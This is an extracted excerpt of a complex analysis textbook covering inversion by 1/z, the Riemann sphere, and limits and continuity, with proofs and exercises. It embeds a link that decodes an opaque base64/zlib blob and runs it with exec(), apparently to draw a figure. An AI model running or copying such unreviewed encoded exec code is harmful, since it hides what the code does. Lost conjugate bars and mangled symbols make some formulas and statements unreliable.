Theorem 11.3 (1/z maps circles-or-lines to circles-or-lines). Let S be a circle or a line in C,
described by (2.6):

A(x2 + y2) +Bx+ Cy +D = 0, A,B,C,D ∈ R, (A,B,C) ̸= (0, 0, 0). (11.5)

Then ι(S \ {0}) is the set T of points w = u+ iv with

D(u2 + v2) +Bu− Cv +A = 0, (11.6)

with the point 0 removed if it lies on T ; and T is again a circle or a line. More precisely:

(i) a circle not through 0 (A ̸= 0, D ̸= 0) maps onto a circle not through 0;

(ii) a circle through 0 (A ̸= 0, D = 0) maps onto a line not through 0;

(iii) a line not through 0 (A = 0, D ̸= 0) maps onto a circle through 0, punctured at 0;

(iv) a line through 0 (A = 0, D = 0) maps onto a line through 0, punctured at 0.

Proof. Write w = 1/z, w = u+ iv, so z = 1/w and by (7.5)

x = u

u2 + v2 , y = −v
u2 + v2 , x2 + y2 = 1

u2 + v2 . (11.7)

Substituting into (11.5),
A

u2 + v2 + Bu

u2 + v2 − Cv

u2 + v2 +D = 0.

Multiplying by u2 + v2, which is nonzero since w ̸= 0, gives exactly (11.6). The coefficient vector
of (11.6) is (D,B,−C,A), which is nonzero whenever (A,B,C,D) is; so by Proposition 2.6 the
image equation defines a circle, a line, a point, or the empty set. This proves ι(S \ {0}) ⊆ T .

Conversely, let w = u + iv ∈ T \ {0} and put z := 1/w = x + iy. Then u = x/(x2 + y2),
v = −y/(x2 + y2) and u2 + v2 = 1/(x2 + y2) by (7.5); substituting into (11.6) and multiplying by
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x2 + y2 ̸= 0 gives (11.5), so z ∈ S \ {0} and w = ι(z). (This is the same computation with the
roles of z and w exchanged: ι−1 = ι, and (A,B,C,D) 7→ (D,B,−C,A) is an involution.) Hence

ι(S \ {0}) = T \ {0}.

In particular T is neither a point nor empty, since S \ {0} is infinite and ι is injective; so T is a
circle or a line.

The four cases are read off from (11.6): the image is a line iff its x2 +y2-coefficient D vanishes,
i.e. iff S passes through the origin (D = 0 in (11.5) says (0, 0) ∈ S); and the image passes through
the origin iff its constant term A vanishes, i.e. iff S is a line. In (i) and (ii) we have A ̸= 0, so
0 /∈ T and ι(S \ {0}) = T ; the punctures in (iii) and (iv) occur because 0 is not in the range of
ι.

Example 11.4. Find the image of the vertical line x = 1 under w = 1/z. Here A = 0, B =
1, C = 0, D = −1, so (11.6) reads −(u2 + v2) + u = 0, i.e.(

u− 1
2

)2
+ v2 = 1

4 ,

the circle of centre 1
2 and radius 1

2 , punctured at the origin. Sanity check: z = 1 7→ 1 (on the
circle); z = 1 + i 7→ 1−i

2 , and
∣∣∣12 − i1

2 − 1
2

∣∣∣ = 1
2 . As |z| → ∞ along the line, w → 0: the missing

point.

Re

Im

x = 1

z-plane

1/z
Re

Im

missing

w-plane

Figure 11.2. Example 11.4: the vertical line x = 1, a “circle through ∞”, maps under w = 1/z onto
the circle of centre 1

2 and radius 1
2 , punctured at the origin. The puncture is exactly the image of the

point at infinity, and adjoining ∞ to the plane (Definition 11.6) repairs it.

Example 11.5. The image of the half-plane Re z > 1 under w = 1/z is exactly the open disc∣∣∣w − 1
2

∣∣∣ < 1
2 , the interior of the circle found in Example 11.4 (note that 0 lies on the boundary

circle, not inside the disc). Heuristically: the boundary line maps to the boundary circle by
Example 11.4, and the interior point z = 2 maps to w = 1

2 , which lies inside the circle. Proof:
every point of the disc is nonzero, and for w ̸= 0,∣∣∣w − 1

2

∣∣∣2 < 1
4 ⇐⇒ |w|2 < Rew ⇐⇒ Re 1

w
= Rew

|w|2
> 1;

since z = 1/w, the half-plane Re z > 1 corresponds exactly to the disc.
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a rotation of the Riemann sphere: circles and lines stay circles and lines;
the line x= 1 (green) becomes jw¡ 1
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B a path of maps
Figure 11.3 (animated). 1/z: circles and lines. A: every point moves in a straight line from z to
f(z). B: a rotation of the Riemann sphere: circles and lines stay circles and lines; the line x = 1
(green) becomes |w − 1

2 | = 1
2 . C: the tiles on the left deform along the path of B.
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the half-plane Re z > 1 onto the disc jw¡ 1
2j< 1

2 (Example 11.5)

C tiles (Figure 11.3, continued)

11.3 The extended plane and the Riemann sphere
The punctures in Theorem 11.3 (and the fact that the point 0 on the boundary circle in Ex-
ample 11.5 is the image of no point of the boundary line) are bookkeeping annoyances. They
disappear if we add one point.

Definition 11.6 (Extended complex plane). Let ∞ be an object not in C and set

Ĉ := C ∪ {∞}. (11.8)
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Extend ι to Ĉ by
ι(0) := ∞, ι(∞) := 0. (11.9)

We declare a set U ⊆ Ĉ to be a neighbourhood of ∞ if U ⊇ {z ∈ C : |z| > R} ∪ {∞} for some
R > 0.

Theorem 11.7 (Stereographic projection). Let

S :=
{
(ξ1, ξ2, ξ3) ∈ R3 : ξ2

1 + ξ2
2 + ξ2

3 = 1
}

(11.10)

be the unit sphere and N := (0, 0, 1) its north pole. Define Π : S \ {N} → C by

Π(ξ1, ξ2, ξ3) := ξ1 + iξ2
1 − ξ3

. (11.11)

Then Π is a bijection, with inverse

Π−1(z) =
( 2 Re z

|z|2 + 1
,

2 Im z

|z|2 + 1
,

|z|2 − 1
|z|2 + 1

)
, (11.12)

and setting Π(N) := ∞ extends Π to a bijection S → Ĉ under which neighbourhoods of N
correspond exactly to neighbourhoods of ∞ in the sense of Definition 11.6. Moreover Π carries
circles on S (with N removed, if it lies on them) onto circles-or-lines in C, and every circle or
line in C arises in this way from exactly one circle on S — lines being precisely the images of
circles through N .

Proof. Geometrically, Π(ξ) is the point where the straight line from N through ξ meets the plane
ξ3 = 0, identified with C; we verify the formulas algebraically.

Let ξ ∈ S, ξ ̸= N , and z = Π(ξ) as in (11.11). Then

|z|2 = ξ2
1 + ξ2

2
(1 − ξ3)2 = 1 − ξ2

3
(1 − ξ3)2 = 1 + ξ3

1 − ξ3
,

using (11.10). Solving for ξ3 gives ξ3 = |z|2−1
|z|2+1 , whence 1 − ξ3 = 2

|z|2+1 , and then (11.11) gives
ξ1 + iξ2 = (1 − ξ3)z = 2z

|z|2+1 . This is (11.12), and it shows Π is injective with the stated inverse;
conversely one checks directly that the right side of (11.12) lies on S, so Π is onto.

As |z| → ∞, (11.12) gives ξ → N , and quantitatively 1 − ξ3 = 2/(|z|2 + 1), so {|z| > R}
corresponds to {ξ ∈ S : 1 − ξ3 < 2/(R2 + 1)}, a spherical cap about N . These caps form a
neighbourhood basis of N , which proves the correspondence of neighbourhoods.

For circles: a circle on S is the intersection of S with a plane aξ1 + bξ2 + cξ3 = d with
a2 + b2 + c2 > d2. Substituting (11.12) with z = x+ iy and multiplying by |z|2 + 1 = x2 + y2 + 1:

2ax+ 2by + c(x2 + y2 − 1) = d(x2 + y2 + 1),

that is,
(c− d)(x2 + y2) + 2ax+ 2by − (c+ d) = 0,

which is of the form (2.6); it is a line exactly when c = d, i.e. exactly when N = (0, 0, 1) satisfies
the plane equation, i.e. when the circle passes through N . Since |z|2 + 1 ̸= 0, these steps are
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reversible: for z ∈ C, the point Π−1(z) lies on the plane if and only if z satisfies the last equation.
As Π is a bijection of S \ {N} onto C, the image of the circle (minus N) is the whole set{

x+ iy : (c− d)(x2 + y2) + 2ax+ 2by − (c+ d) = 0
}
.

Conversely, let a circle or line be given by (2.6), A(x2 +y2)+Bx+Cy+D = 0; by Proposition 2.6
(and its proof) it is a circle or a line exactly when B2 +C2 > 4AD. Put a = B

2 , b = C
2 , c = A−D

2 ,
d = −A+D

2 , so that c− d = A, 2a = B, 2b = C, −(c+ d) = D. Then

a2 + b2 + c2 − d2 = 1
4
(
B2 + C2 + (A−D)2 − (A+D)2) = 1

4
(
B2 + C2 − 4AD

)
> 0,

so the plane aξ1 + bξ2 + cξ3 = d is at distance |d| /
√
a2 + b2 + c2 < 1 from the origin and meets

S in a circle, whose image under Π is the given circle or line by what we have just proved. It
is the only such circle, since Π is a bijection and a circle on S is determined by any three of its
points.

N

−4 −3 −2 −1 0 1 2 3 4
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4

unit circle
(the equator)

centre 1:06¡ 0:64i, radius 1:59

a great circle tilted 51 ±  from the equator, and its stereographic image
image of the great circle m ¢ »= 0:  the circle jw+ (m1 + im2)=m3j= 1=jm3j,  a line through 0 when m3 = 0

Figure 11.4 (animated). Theorem 11.7 for great circles. The great circle with unit normal m =
(m1,m2,m3), i.e. {ξ ∈ S : m · ξ = 0}, projects to the circle |w + (m1 + im2)/m3| = 1/ |m3|, or to
a line through 0 when m3 = 0 (the great circle passes through N); substitute (11.12) into m · ξ = 0
and complete the square. Left: a great circle tilting from 8◦ to 90◦. Right: its projected points (dots)
on the circle given by this formula; it crosses the unit circle, the image of the equator, at the two
opposite points where the great circle crosses the equator.

Corollary 11.8. On Ĉ the extended map ι of (11.9) is a bijection that carries the family of
circles-and-lines — equivalently, by Theorem 11.7, the family of circles on the Riemann sphere
— onto itself, without exceptions or punctures.

Proof. Combine Theorem 11.3 with the observation that adjoining ∞ repairs each of the four
cases: in (ii) the point 0 ∈ S maps to ∞, which lies on every line viewed in Ĉ; in (iii) and (iv)
the missing point 0 is the image of ∞ ∈ S.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=stereo2_tilt&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqdWPtz27gR%2Fp1%2FBcrIE%2FIiM3rYjiOHmZ7beM4dn%2Bs5u9eZKqoGIiEJMV8lSD0Sp397vwVIiZLldFpNYkELYF%2FY%2FXYBKxRTlkV87UzlrM2mOY9F9aXaTCaFyBc8arPJJF35t2ki3IHF8JFxluYFkymmuBJnJ20W8yKL0iKSEy9b04hxBdaFXj%2FN05hd362LeZp4oVQksmbyy8OvN21WEfVq7PKCKFWCtHI1qZp2aLFj2%2FYHGc%2BYDH07m44xtJkq1pHw7aDMVZoPslTrbrNCFpocyeCRFSnLeKmE%2FdH6oIJcZsVHa8Fzlk2Zz5YyCdOlp8ffpgM2HLXZ44B12iwvkwEr8lJ8h0sg1mdhGpSxSApvJopPkaDh5fo6dGpt3AsLX16aGLk%2Bm5ZJUMg0YY7LvkGeB54g%2F8GMLtj3C0uJ4rryt7OzHPbLKXOqtezpifY%2Fso8%2BfU%2B9SCSzYu6yXBRlnlzQaohWecDMgiGtHl2YTT5z9Pcb1nXZ0RE7Ci8sWHUUQuMPbyufwL3siDn7UeC65iimQoTkg90TcTdHOMaxPMBb1eo0Z4%2FgwXKezETFtIoiExkgOI%2FuhjAp6QRk6l2uC6Gu%2F%2BpspxANnuILgW8Hy9rEHGGHIEhmtgnSsUyCuVA%2BjbcbMQ%2BeJlK9ydmJSII0FMSDThC2lcJxXS8UmtwQCFO9Mgt5IYydr%2Bu40a7PSjV3bMzygYz5TLyFnIsqH46U7W48%2Bhr%2BxBwc%2BIod48NEErJ0yv5SZjAyv5GF0Fkocj1t4QTuQRfpLOfZXAYsy9MvQodEmy1Erig2egPGEd9RIWHdLBe8YIHMgwgJrLI5djMOKWCbCKZkKNhkrb8962EudjYg9os5KxNZsIQ8GrGYIiXuIqt7%2BN93mVSswC4EKeY8tpJY0GHQQlO1OI%2FdlxOFhCtJI4smZELKCjL1Tjor6RLblewi%2FiR49Ny3TpcdYwQJap4uSQi0koVi2qG1WKOmPpanJTZDNc0iBoe4%2FwSu3bdPNKg%2BDmeRhNnFPE%2FL2RyaLucigSGkNSLag7L13K3rWTdiWgy0pB23kHOV9iKllvLYb3I2x0LSrzoRpILGGsWcMC2Ua1ZvVGYzuYDgyRrugC0Ur2XEmaPSSIYuC7A1wJFcgCXj0ZKvFQvyVClh7NZHUnGCWkQqlilLsyxVOmaM6KU%2BbcxaO%2Bo3OYl%2FlbxIc8%2B6W1%2FJGQTjZBKKJ2O2iVOGagC3KUo0bUidnG1alLCAR5Ey5cLzPPgNcWpVKJ6UcbYmyE%2BymrStCFajOAB%2FHfvnGUDy%2Bbq9ymFRIciDOw41VJ2H32ysnxdiVXjTFNaLwh4wO4gBADYRvCmPZbQmohK5nG7oSn4VoHZ7313r082n39vs539c%2F4qI6KF6HZ91rN%2BvP%2F0dP5PM43kOG4cYBaly8JXzUPJEObTPddlP7PkUMXPd9gY7Np8fc1EyOcDlwIzZNHKt0uiIAFcZD4SDgO4ZXpnE8KTjWpZFdV0Hw9gEgxPjDCvY5YaBDg%2BiD8EB%2F7peZ%2BRe6FnO3lYieDTzCBMc7lIVek78yLri%2BD0TEdJ86znw0jzBUYuc7InkhmxqFs2kJfDOqVxVuLQCGd6cIHfQxKQ2jzLQuats0giGVSLPVUFhEsoFEsu35QyaCpvKGHCeOoaK0qhBlRrO3RBhTUpTffwCn1aE7siFQzRUVZTeqNYCnU1SjCc8eNzoskCm%2B%2ByO%2FZHpiPrIjjte51RPXbXZJc3BzGztwJp6ZGaH%2F8bekfFVwtEXXA53CE2nESvoIFBuMB%2FxeBJytkDD4p1CT%2FrbjNJM4ufCtW6vCCy7Hev%2BeRQB7m%2BvXOvh%2BuYBk%2BdwwjkFFkkgFrFMZFzGzj180fHOsR4xvPd5BQhB2BGEUMfXQJ4BGB5%2FZO871sPffrsF%2F%2F5ZB8zv2f%2FyeaU5hjI3tZDqisZE4LSBaAZMT0Lr%2Fk%2B%2FfPozeUWqwjGNByyjiBrCAcc4UIju9vB7ZwXNAAr0f7O6QwvPrRvwOvF6lkXA6Ov%2BFKMy1w0q4YrvdDseYOTUO0GR5ytq%2BdCs8DAc85VQzpBCAPMdnRfeaY%2F%2Bnp%2BhxdxWdt%2FuhwDF7PlmbOjrvef090TzeXc2IkEe8G%2B8imTskNpdyl9DWx%2Bgfd3S6q3UMnGVQQPH6eoQ6CIqv6Zp7He9vtm6kGKJvkoWzhY2zQxfSeXY6XQKvanRi6h4I5GApvBh32AAfZ11qty4q4BgfABcsbuJraWBwZcXESJUi6ZlFI0j%2BSic8hB26k3uqJmCO3mrJ4IUF51oSS2K%2FWgTHvY05pFRPnU7GuMcG77v2foUzT74gYqW89OV99AmLmnuV7z8aGkcZRZcHloAW8ARP5RvD8CXR9mc%2Bx3vrHIpwnzTPVOSnmuXvuTO8nBxAhd3687ycO3ZLjKe%2FS%2F%2BOmR37RxYRv45bPvOov7pQdMpPANeEPZX1Wmzm85G%2BT3kQiiyYq7mHDh%2FxXE4Rh61Bg6S5ayqathpt25bNl0X0C9Qtnb7lGeN3MEF9Aa7s2bu7NKqJLEJziLb0Atc7saZ7k4QYhPEBzE%2F17z5ak4tKGm%2Fsfr8tLb63DDgq8UPFxEj7b7dlKgDv%2BEQbKB4pQ2V%2Fe96BGMoPDC%2F0Ud%2BRhXdorLb9Mq5d9rQo4%2BpBfftIs2Q3RH6WETBcGTpG3UFUZWoU8qG9yQIe3CCdiD07XvP4892aN1Mo18h%2BU7%2F2oo%2Ffw7QVX%2F%2BvJJ%2BpzVgzca69bR848Tj7hsZj%2BkWMO4%2F%2BXQJwHerbW%2B7MJv6nZ3LQKvTMteBFhaD78s6d3Ydcmpvi77pi00SfoE3dMUZPuKeh%2Fu4o39V%2BbOcS6hL%2Fts2HPTLy9LMcb1cxOmivnPydt0p1TlJxXj4ZWTOfUNEBSWi3hPvt6wUHbwBA5Nt0PBG4k%2B2eMDdihfByX7XWLo%2FhgFtC04VV1rnICQUfDLIRWiCtEcF8uLwpsuXNiGya5Co3iDEAUW3Tui0TTc8chsq8iyrpNXAIoYDavbaTA%2B69aA32smsmOePAmNlYOfkAOwYKVQ5dE96QLEXmvUTgBiU0te4ihe6DmBX333u3BoLlogZepNbepQ6yKDUPuC2WPl9ILC76Zz2L6zmHW%2FK%2BAQd%2BRANrWnlzwbs%2F%2FmYzqy6375WzRu7rq1tlsM9x5C07a7joWmsSTr8j9FGl91M2XNAoB0ALvlusxBoh2zpezC5F1L9bb155%2B4JrGKlFjg0EqHk0MjAyH7zgtfP3WGnYUCxQvfANLrgjt468nrTozf4I1twCfK5VIbY0m9uQXW2QXW2eRXuiIwteoQ7GX9MboRkSB3tZdZG%2F%2BMbeCQ03SxSqfmLjKqmuzvT3Xr6Bfe5z2zcAOxta3AAdG3rgH9fzsUfpuDXNA9BOT2Q4HUFhFGUStoefR9qk5578F7t1zVNl3m91ebP34GQN0dh65%2BoSKC1nl1v2vq9hB6G1M7Dna5udLT6YrKBcyokyD2b3lJs6u9mUTpB%2FjvuYJuudIEN6dWO5Jh3G2gFuxn6worcfEGEwx%2Br9%2FODD%2Fr%2BtjRtX3X9d2hjdXy9mNlgBw3N4715LspSsnLzVl8%2F0QztLJzqV5linQmb7q0nPWv7yntSdczNd1zb%2BKs3JiePDWMPbFBr%2FwORg0PH%27%29%29.decode%28%29%0Aexec%28src%29
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turning the sphere by 0 ± : great circles stay circles in the plane
the sphere turns about the »1-axis; its great circles project to circles through ¦(P) and ¦(¡P) =¡1=¦(P)

Figure 11.5 (animated). Rotations of the sphere keep circles circles. A net of great circles, six through
two opposite points P and −P and the one halfway between them, turns rigidly about the ξ1-axis; in
the plane every one of them stays a circle or a line, the six all through Π(P ) and Π(−P ) = −1/Π(P ).
Turning by 180◦ about the ξ1-axis is z 7→ 1/z (Exercise 11.3); every rotation of the sphere acts on
the plane as a linear fractional map (Chapter 34).

Remark 11.9 (Behaviour at 0 and at ∞). Under ι, small circles about 0 become large circles about
0: |z| = ϵ 7→ |w| = 1/ϵ. In the language of Chapter 12 this reads limz→0 1/z = ∞; in the language
of Chapter 26, ι has a pole at 0. On the sphere there is nothing singular happening: the pole is
just the point N , and ι is a rotation of S by π about the ξ1-axis (Exercise 11.3).

11.4 Exercises
Exercise 11.1. Find and sketch the images under w = 1/z of: the line y = 2; the line y = x; the
circle |z − 1| = 1; the circle |z − 2| = 1; the half-plane Im z > 1.

Exercise 11.2. Show that w = 1/z maps the annulus 1 < |z| < 2 onto the annulus 1
2 < |w| < 1,

and describe what it does to the rays inside.

Exercise 11.3. (⋆) Using (11.12), show that z 7→ 1/z corresponds on S to the reflection (ξ1, ξ2, ξ3) 7→
(ξ1, ξ2,−ξ3), and hence that z 7→ 1/z corresponds to (ξ1, ξ2, ξ3) 7→ (ξ1,−ξ2,−ξ3), a rotation of the
sphere by π about the ξ1-axis.

Exercise 11.4. Let a, b, c, d ∈ C with ad − bc ̸= 0. Prove that the Möbius transformation
T (z) = az + b

cz + d
is, when c ̸= 0, the composition

z 7−→ cz + d 7−→ 1
cz + d

7−→ bc− ad

c
· 1
cz + d

+ a

c
= T (z),

of two linear maps and one reciprocal. Deduce from Theorems 8.4 and 11.3 that T maps circles-
and-lines to circles-and-lines.
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Exercise 11.5. Compute the image under stereographic projection of the equator, of the meridian
ξ2 = 0, and of the circle ξ3 = 1

2 .

Exercise 11.6. Show that ι(z) = 1/z has exactly two fixed points in C, and determine them.
What are the fixed points of σ of (11.3), and how do the two answers differ?

Exercise 11.7. Using (11.12), compute the chordal distance
∣∣Π−1(z) − Π−1(w)

∣∣ between the
sphere points corresponding to z, w ∈ C, and show it equals

2 |z − w|√
1 + |z|2

√
1 + |w|2

.

Deduce that zn → ∞ in the sense of Definition 11.6 exactly when the corresponding sphere points
converge to the north pole.

Exercise 11.8. (⋆) Prove that 1/z maps the family of circles-and-lines through two fixed points
a ̸= b in C \ {0} onto the family of circles-and-lines through 1/a and 1/b, and that it maps
the orthogonal family (the Apollonius circles of Exercise 2.2) onto the corresponding orthogonal
family. (Use Corollary 34.3 and conformality, Proposition 34.4.)
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Limits, Continuity, and Analyticity
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Chapter 12

Limits and Continuity

12.1 Limits
Definition 12.1 (Limit of a complex function). Let S ⊆ C, let f : S → C, let z0 ∈ C be an
accumulation point of S in the sense of Definition 5.14, and let L ∈ C. We say

lim
z→z0

f(z) = L (12.1)

if for every real ε > 0 there exists a real δ > 0 such that

z ∈ S and 0 < |z − z0| < δ =⇒ |f(z) − L| < ε. (12.2)

In the language of Definition 5.1: for every ε > 0 there is δ > 0 with f
(
S ∩D′(z0, δ)

)
⊆ D(L, ε).

The definition is word-for-word the real one with |·| now meaning the modulus (1.21). What
changes is the geometry: z may approach z0 from infinitely many directions and along arbi-
trarily wild paths, and (12.2) demands the same L for all of them. This makes complex limits
substantially more restrictive than limits of functions of one real variable.

Theorem 12.2 (Uniqueness of limits). Under the hypotheses of Definition 12.1, if limz→z0 f(z) =
L1 and limz→z0 f(z) = L2 then L1 = L2.

Proof. Suppose L1 ̸= L2 and put ε := 1
2 |L1 − L2| > 0. Choose δ1, δ2 > 0 as in (12.2) for

L1, L2 respectively, and let δ = min(δ1, δ2). Since z0 is an accumulation point of S there exists
z ∈ S ∩D′(z0, δ). For that z,

|L1 − L2| ≤ |L1 − f(z)| + |f(z) − L2| < ε+ ε = |L1 − L2| ,

by the triangle inequality (1.27), a contradiction.

Theorem 12.3 (Componentwise criterion). Let f = u + iv as in (7.3), let z0 = x0 + iy0 and
L = L1 + iL2 with x0, y0, L1, L2 ∈ R. Then (12.1) holds if and only if

lim
(x,y)→(x0,y0)

u(x, y) = L1 and lim
(x,y)→(x0,y0)

v(x, y) = L2, (12.3)

these being limits of real functions of two real variables.
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Proof. (⇒) By (1.26), |u(x, y) − L1| = |Re(f(z) − L)| ≤ |f(z) − L|, so any δ that works for f
works for u; similarly for v.

(⇐) Given ε > 0 choose δ1 for u with tolerance ε/2 and δ2 for v with tolerance ε/2, and set
δ = min(δ1, δ2). Then for 0 < |z − z0| < δ, by the triangle inequality,

|f(z) − L| = |(u− L1) + i(v − L2)| ≤ |u− L1| + |v − L2| < ε.

Theorem 12.4 (Algebra of limits). Suppose limz→z0 f(z) = L and limz→z0 g(z) = M , with f, g
defined on a common set S having z0 as accumulation point. Then

lim
z→z0

(
f(z) + g(z)

)
= L+M, (12.4)

lim
z→z0

(
f(z)g(z)

)
= LM, (12.5)

lim
z→z0

f(z)
g(z) = L

M
provided M ̸= 0. (12.6)

Moreover limz→z0 f(z) = L and limz→z0 |f(z)| = |L|.

Proof. (12.4): given ε > 0 pick δ1, δ2 for f, g with tolerance ε/2, and set δ = min(δ1, δ2). Then

|(f + g) − (L+M)| ≤ |f − L| + |g −M | < ε.

(12.5): write
f(z)g(z) − LM =

(
f(z) − L

)
g(z) + L

(
g(z) −M

)
.

Choose δ0 so that |g(z) −M | < 1, hence |g(z)| < |M | + 1, for 0 < |z − z0| < δ0 (possible by
(1.28)). Given ε > 0, choose δ1 with |f(z) − L| < ε

2(|M |+1) and δ2 with |g(z) −M | < ε
2(|L|+1) . For

δ = min(δ0, δ1, δ2) and 0 < |z − z0| < δ, (1.24) and (1.27) give

|fg − LM | ≤ |f − L| |g| + |L| |g −M | < ε

2(|M | + 1)(|M | + 1) + |L| ε

2(|L| + 1) < ε.

(12.6): by (12.5) it suffices to show lim 1/g = 1/M . Since M ̸= 0, choose δ0 with |g(z) −M | <
|M | /2, hence |g(z)| > |M | /2 by (1.28), for 0 < |z − z0| < δ0. Then∣∣∣ 1

g(z) − 1
M

∣∣∣ = |M − g(z)|
|g(z)| |M |

≤ 2
|M |2

|g(z) −M | ,

which is < ε once |g(z) −M | < ε |M |2 /2.
The last two statements follow from

∣∣∣f − L
∣∣∣ = |f − L| (by (1.23)) and

∣∣|f | − |L|
∣∣ ≤ |f − L|

(by (1.28)).

Corollary 12.5 (Limits of polynomials and rational functions). Let p, q be polynomials with
complex coefficients. Then limz→z0 p(z) = p(z0) for every z0 ∈ C, and limz→z0

p(z)
q(z) = p(z0)

q(z0)
whenever q(z0) ̸= 0.

Proof. limz→z0 z = z0 (take δ = ε) and limz→z0 c = c for constants. Apply (12.5) repeatedly to
get lim zk = zk0 , then (12.4), then (12.6).



CHAPTER 12. LIMITS AND CONTINUITY 81

12.2 Showing a limit does not exist
Proposition 12.6 (Path test). Let z0 be an accumulation point of S and f : S → C. Suppose
γ1, γ2 : (0, 1] → S satisfy γj(t) → z0 as t ↓ 0 and γj(t) ̸= z0. If

lim
t↓0

f(γ1(t)) ̸= lim
t↓0

f(γ2(t)) (12.7)

(both limits existing), then limz→z0 f(z) does not exist.

Proof. If the limit existed and equalled L, then for every ε > 0 there is δ > 0 with |f(z) − L| < ε
whenever 0 < |z − z0| < δ. Since γj(t) → z0, for small t we have 0 < |γj(t) − z0| < δ, so
|f(γj(t)) − L| < ε; letting t ↓ 0 gives both path limits equal to L, contradicting (12.7).

x0

two ways in

z0

infinitely many ways in

Figure 12.1. Why complex limits are harder than one-variable real ones. On the left, x → x0 along a
line: there are two directions. On the right, z → z0 in the plane: there are infinitely many directions
and, worse, infinitely many curved approaches. The definition (12.2) demands the same limit L for
every one of them, which is why Proposition 12.6 is such an effective way to prove a limit does not
exist.

Example 12.7 (The model non-existent limit). Let f(z) = z

z
for z ̸= 0. Along the real axis,

γ1(t) = t, f(γ1(t)) = t/t = 1. Along the imaginary axis, γ2(t) = it, f(γ2(t)) = −it
it = −1. Since

1 ̸= −1, limz→0 z/z does not exist. In fact along the ray γθ(t) = teiθ one gets f = e−2iθ: every
unimodular value is a directional limit.

Example 12.8. limz→0
Re z
|z|

does not exist: along teiθ the value is cos θ, which depends on θ.

By contrast limz→0
(Re z)2

|z|
= 0, since

∣∣∣ (Re z)2

|z|

∣∣∣ ≤ |z|2
|z| = |z| → 0 by (1.26); here one δ = ε works.

Definition 12.9 (Limits involving ∞). Let f : S → C. In (12.8) let z0 ∈ C be an accumulation
point of S; in (12.9) let S contain {|z| > R0} for some R0 > 0. We write:

lim
z→z0

f(z) = ∞ ⇐⇒ ∀M > 0 ∃δ > 0 : z ∈ S, 0 < |z − z0| < δ ⇒ |f(z)| > M ; (12.8)

lim
z→∞

f(z) = L ⇐⇒ ∀ε > 0 ∃R > 0 : |z| > R ⇒ |f(z) − L| < ε. (12.9)

Equivalently, using ι(z) = 1/z: limz→z0 f(z) = ∞ iff limz→z0 1/f(z) = 0, and limz→∞ f(z) = L iff
limζ→0 f(1/ζ) = L. These are the ordinary limits of Definition 12.1 transported to the Riemann
sphere of Theorem 11.7.

Example 12.10. For f(z) = 2z3 − z + 1
5z3 + z2 we have, substituting z = 1/ζ and simplifying, f(1/ζ) =

2 − ζ2 + ζ3

5 + ζ
→ 2

5 as ζ → 0, so limz→∞ f(z) = 2
5 . And limz→0

1
z2 = ∞ since

∣∣1/z2∣∣ = 1/ |z|2 > M

as soon as |z| < 1/
√
M .
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12.3 Continuity
Definition 12.11 (Continuity). Let f : S → C and z0 ∈ S. Then f is continuous at z0 if for
every ε > 0 there is δ > 0 such that

z ∈ S, |z − z0| < δ =⇒ |f(z) − f(z0)| < ε. (12.10)

If z0 is an accumulation point of S this is equivalent to

lim
z→z0

f(z) = f(z0), (12.11)

i.e. to the three requirements: f(z0) is defined, the limit exists, and the two agree. f is continuous
on S if it is continuous at every point of S.

Theorem 12.12 (Continuity toolkit). (i) f is continuous at z0 if and only if its components
u, v of (7.2) are continuous at (x0, y0).

(ii) Sums, products, and quotients (with nonvanishing denominator) of functions continuous at
z0 are continuous at z0.

(iii) If f is continuous at z0 and g is continuous at f(z0), then g ◦ f is continuous at z0.

(iv) z 7→ z, z 7→ z, z 7→ |z|, z 7→ Re z, z 7→ Im z and all constants are continuous on C; hence
every polynomial is continuous on C and every rational function is continuous off the zeros
of its denominator.

(v) f is continuous at z0 if and only if f(zn) → f(z0) for every sequence zn ∈ S with zn → z0.

Proof. (i) is Theorem 12.3 with L = f(z0); (ii) is Theorem 12.4; (iv) follows from (ii), from
|z − z0| = |z − z0|, from (1.28)

∣∣|z| − |z0|
∣∣ ≤ |z − z0|, and from (1.26); each of these lets us take

δ = ε.
(iii): let ε > 0. Continuity of g at w0 := f(z0) gives η > 0 with |g(w) − g(w0)| < ε whenever

|w − w0| < η. Continuity of f at z0 gives δ > 0 with |f(z) − w0| < η whenever |z − z0| < δ.
Composing, |g(f(z)) − g(f(z0))| < ε for |z − z0| < δ.

(v) (⇒) Given zn → z0 and ε > 0, take δ from (12.10) and then N with |zn − z0| < δ for
n ≥ N ; then |f(zn) − f(z0)| < ε for n ≥ N . (⇐) If f is not continuous at z0, there is ε0 > 0 such
that for every n ∈ N some zn ∈ S has |zn − z0| < 1/n but |f(zn) − f(z0)| ≥ ε0. Then zn → z0
while f(zn) ̸→ f(z0).

Theorem 12.13 (Extreme value theorem for |f |). Let K ⊆ C be compact (closed and bounded,
Definition 5.12) and nonempty, and let f : K → C be continuous. Then |f | is bounded on K and
attains a maximum and a minimum: there exist zmax, zmin ∈ K with

|f(zmin)| ≤ |f(z)| ≤ |f(zmax)| for all z ∈ K. (12.12)

Proof. Let M := supz∈K |f(z)| ∈ [0,∞] and choose zn ∈ K with |f(zn)| → M . By Theorem 5.13
there is a subsequence znk

→ z∗ ∈ K. By Theorem 12.12(v) and continuity of |·|, |f(znk
)| →

|f(z∗)|, so M = |f(z∗)| is finite and attained; take zmax = z∗. The minimum is obtained the same
way with inf in place of sup.

Remark 12.14. Theorem 12.13 is used later to prove the maximum modulus principle and (together
with Liouville’s theorem, Theorem 22.2) the Fundamental Theorem of Algebra, Theorem 22.4.
Note that the theorem concerns |f |, a real-valued function: by Warning 1.8 there is no such thing
as “the maximum of f” when f is complex-valued.
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12.4 Exercises
Exercise 12.1. Evaluate or show the limit does not exist:

lim
z→i

z2 + 1
z − i

, lim
z→0

|z|2

z
, lim

z→0

z

z
, lim

z→0

Im(z2)
|z|2

, lim
z→∞

z2 + 1
z2 − 3z .

Exercise 12.2. Prove directly from Definition 12.1 that limz→z0 z
2 = z2

0 , exhibiting δ explicitly
in terms of ε and |z0|.

Exercise 12.3. Let f(z) = Arg z on C \ {0}. At which points is f continuous? Prove your claim
using (10.3)-style one-sided limits.

Exercise 12.4. (⋆) Let f be continuous on the compact set K. Prove f is uniformly continuous:
for every ε > 0 there is δ > 0 such that |f(z) − f(w)| < ε for all z, w ∈ K with |z − w| < δ.

Exercise 12.5. Show that f(z) = z2

|z|
